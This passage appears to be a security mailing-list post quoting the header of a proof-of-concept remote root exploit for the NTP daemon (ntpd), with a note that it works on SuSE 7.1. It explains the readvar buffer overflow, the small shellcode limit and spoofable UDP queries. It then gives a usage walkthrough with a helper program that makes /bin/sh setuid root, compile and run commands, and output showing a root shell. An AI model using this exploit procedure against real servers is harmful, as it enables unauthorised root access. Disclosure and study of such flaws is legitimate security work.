      Xmm...

It's seems works on SuSE 7.1...

/* ntpd remote root exploit / babcia padlina ltd.
 */
/*
 * Network Time Protocol Daemon (ntpd) shipped with many systems is
vulnerable
 * to remote buffer overflow attack. It occurs when building response for
 * a query with large readvar argument. In almost all cases, ntpd is
running
 * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to
timeserver.
 *
 * Althought it's a normal buffer overflow, exploiting it is much harder.
 * Destination buffer is accidentally damaged, when attack is performed,
so
 * shellcode can't be larger than approx. 70 bytes. This proof of concept
code
 * uses small execve() shellcode to run /tmp/sh binary. Full remote attack
 * is possible.
 *
 * NTP is stateless UDP based protocol, so all malicious queries can be
 * spoofed.
 *
 * Example of use on generic RedHat 7.0 box:
 *
 * [venglin@cipsko venglin]$ cat dupa.c
 * main() { setreuid(0,0); system("chmod 4755 /bin/sh");  }
 * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c
 * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c
 * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost
 * ntpdx v1.0 by venglin@freebsd.lublin.pl
 *
 * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
 *
 * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
 * [1] <- evil query (pkt = 512 | shell = 45)
 * [2] <- null query (pkt = 12)
 * Done.
 * /tmp/sh was spawned.
 * [venglin@cipsko venglin]$ ls -al /bin/bash
 * -rwsr-xr-x    1 root     root       512540 Aug 22  2000 /bin/bash
